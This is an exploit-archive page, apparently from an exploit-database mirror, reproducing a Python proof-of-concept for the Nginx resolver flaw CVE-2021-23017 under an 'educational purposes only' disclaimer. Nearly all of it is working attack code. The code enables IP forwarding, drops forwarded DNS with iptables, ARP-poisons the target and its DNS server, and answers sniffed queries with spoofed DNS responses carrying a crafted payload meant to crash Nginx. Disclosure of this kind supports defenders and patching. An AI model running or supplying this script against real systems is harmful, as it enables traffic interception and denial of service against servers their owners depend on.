Nginx 1.20.0 denial of service (dos) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2022-07-11 | Type : remote | Platform : multiple
This exploit / vulnerability Nginx 1.20.0 denial of service (dos) is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
# Date: 2022-6-29
# Exploit Author: Mohammed Alshehri - https://Github.com/M507
# Vendor Homepage: https://nginx.org/
# Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
# Version: 0.6.18 - 1.20.0
# Tested on: Ubuntu 18.04.4 LTS bionic
# CVE: CVE-2021-23017
# The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
# python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
# The service needs to be configured to use Nginx resolver

from scapy.all import *
from multiprocessing import Process
from binascii import hexlify, unhexlify
import argparse, time, os

def device_setup():
os.system("echo '1' >> /proc/sys/net/ipv4/ip_forward")
os.system("iptables -A FORWARD -p UDP --dport 53 -j DROP")

def ARPP(target, dns_server):
print("[*] Sending poisoned ARP packets")
target_mac = getmacbyip(target)
dns_server_mac = getmacbyip(dns_server)
while True:
time.sleep(2)
send(ARP(op=2, pdst=target, psrc=dns_server, hwdst=target_mac),verbose = 0)
send(ARP(op=2, pdst=dns_server, psrc=target, hwdst=dns_server_mac),verbose = 0)

def exploit(target):
print("[*] Listening ")
sniff (filter="udp and port 53 and host " + target, prn = process_received_packet)

"""
RFC schema
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Fig. DNS

"""
def process_received_packet(received_packet):
if received_packet[IP].src == target_ip:
if received_packet.haslayer(DNS):
if DNSQR in received_packet:
print("[*] the received packet: " + str(bytes_hex(received_packet)))
print("[*] the received DNS request: " + str(bytes_hex(received_packet[DNS].build())))
try:
# \/ the received DNS request
dns_request = received_packet[DNS].build()
null_pointer_index = bytes(received_packet[DNS].build()).find(0x00,12)
print("[*] debug: dns_request[:null_pointer_index] : "+str(hexlify(dns_request[:null_pointer_index])))
print("[*] debug: dns_request[null_pointer_index:] : "+str(hexlify(dns_request[null_pointer_index:])))
payload = [
dns_request[0:2],
b"\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00",
dns_request[12:null_pointer_index+1],
dns_request[null_pointer_index+1:null_pointer_index+3],
dns_request[null_pointer_index+3:null_pointer_index+5],
b"\xC0\x0C\x00\x05\x00\x01\x00\x00\x0E\x10",
b"\x00\x0B\x18\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41",
b"\x41\x41\x41\x41\x41\x41\x41\xC0\x04"
]

payload = b"".join(payload)
spoofed_pkt = (Ether()/IP(dst=received_packet[IP].src, src=received_packet[IP].dst)/\
UDP(dport=received_packet[UDP].sport, sport=received_packet[UDP].dport)/\
payload)
print("[+] dns answer: "+str(hexlify(payload)))
print("[+] full packet: " + str(bytes_hex(spoofed_pkt)))

sendp(spoofed_pkt, count=1)
print("\n[+] malicious answer was sent")
print("[+] exploited\n")
except:
print("\n[-] ERROR")

def main():
global target_ip
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="IP address of the target")
parser.add_argument("-r", "--dns_server", help="IP address of the DNS server used by the target")
args = parser.parse_args()
target_ip = args.target
dns_server_ip = args.dns_server
device_setup()
processes_list = []
ARPPProcess = Process(target=ARPP,args=(target_ip,dns_server_ip))
exploitProcess = Process(target=exploit,args=(target_ip,))
processes_list.append(ARPPProcess)
processes_list.append(exploitProcess)
for process in processes_list:
process.start()
for process in processes_list:
process.join()

if __name__ == '__main__':
target_ip = ""
main()